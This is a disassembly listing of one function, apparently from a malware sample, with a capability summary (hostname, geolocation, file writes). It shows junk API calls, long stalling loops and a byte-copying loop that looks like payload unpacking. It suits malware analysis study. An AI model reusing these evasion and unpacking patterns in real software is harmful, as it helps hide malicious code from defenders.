Function at 0x42b560
Capabilities:
Create directory
Get common file path
Get geographical location
Get hostname
Manipulate console buffer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd0c
mov eax, dword [0x436004]
xor eax, esp
mov dword [esp + 0xd08], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCommProperties]
xor esi, esi
lea eax, [esp + 0x20]
push eax
push 0
call edi
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
cmp esi, 0x176ee4
jg 0x42b5b7
inc esi
cmp esi, 0x3661b338
jl 0x42b58b
jmp 0x42b5ca
cmp dword [0x829b8c], 0xa
jne 0x42b5ca
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x42b5e8
mov ecx, dword [0x437bcc]
mov dword [0x829b90], ecx
cmp dword [0x829b8c], 0x3c
jne 0x42b5f4
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x42b5d4
cmp dword [0x829b8c], 0x7c
jne 0x42b681
push ebx
call dword [sym.imp.ole32.dll_CreateDataAdviseHolder]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [esp + 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push str.pecanasotapih
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea eax, [esp + 0x510]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x829b8c], 0x2d
jne 0x42b669
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x4342f8
push 0x438b78
call fcn.0040139c
push ebx
call fcn.0040121d
add esp, 0xc
cmp dword [0x829b8c], 0x110a
jne 0x42b6d7
push ebx
push ebx
lea ecx, [esp + 0x68]
push ecx
mov dword [0x8297f8], ebx
mov dword [0x8297fc], ebx
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call fcn.004010db
push ebx
call fcn.0040115a
add esp, 0xc
push ebx
push ebx
call fcn.004010db
push ebx
push ebx
call fcn.004010db
push ebx
call fcn.00401385
add esp, 0x14
call fcn.0042aaf0
xor esi, esi
cmp dword [0x829b8c], ebx
jbe 0x42b730
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileA]
lea esp, [esp]
mov edx, dword [0x829b90]
mov dword [esp + 0xc], edx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov cl, byte [eax + esi]
mov edx, dword [0x82770c]
mov byte [edx + esi], cl
cmp dword [0x829b8c], 0x5ab
jne 0x42b727
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x829b8c]
jb 0x42b6f0
call fcn.0042b3e0
call fcn.0042ab20
call fcn.0042b4d0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
xor esi, esi
cmp dword [0x829b8c], 0x41
jne 0x42b755
push ebx
push ebx
push ebx
call edi
cmp esi, 0xbd9cb
jne 0x42b762
call fcn.0042ab10
inc esi
cmp esi, 0x15a63d
jl 0x42b747
mov ebx, dword [esp + 0x28]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
push 0
push 0
call edi
cmp esi, 0x1abc7
jle 0x42b78d
cmp ebx, 0xf5bed7
jne 0x42b796
inc esi
cmp esi, 0x1ebc2ad2
jl 0x42b777
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov edi, dword [sym.imp.ADVAPI32.dll_AccessCheckByType]
mov dword [esp + 0x10], 0x1519a5
mov ebx, dword [esp + 0x10]
mov edi, edi
cmp dword [0x829b8c], 0x3dc
mov dword [0x8297f4], 0x8e46a6f0
jne 0x42b7f7
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x20], eax
call esi
mov eax, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push ebx
push 0
push 0
push eax
push 0
push 0
push 0
push 0
call edi
dec dword [esp + 0x10]
jne 0x42b7b0
mov ecx, dword [esp + 0xd14]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004010cc
mov esp, ebp
pop ebp
ret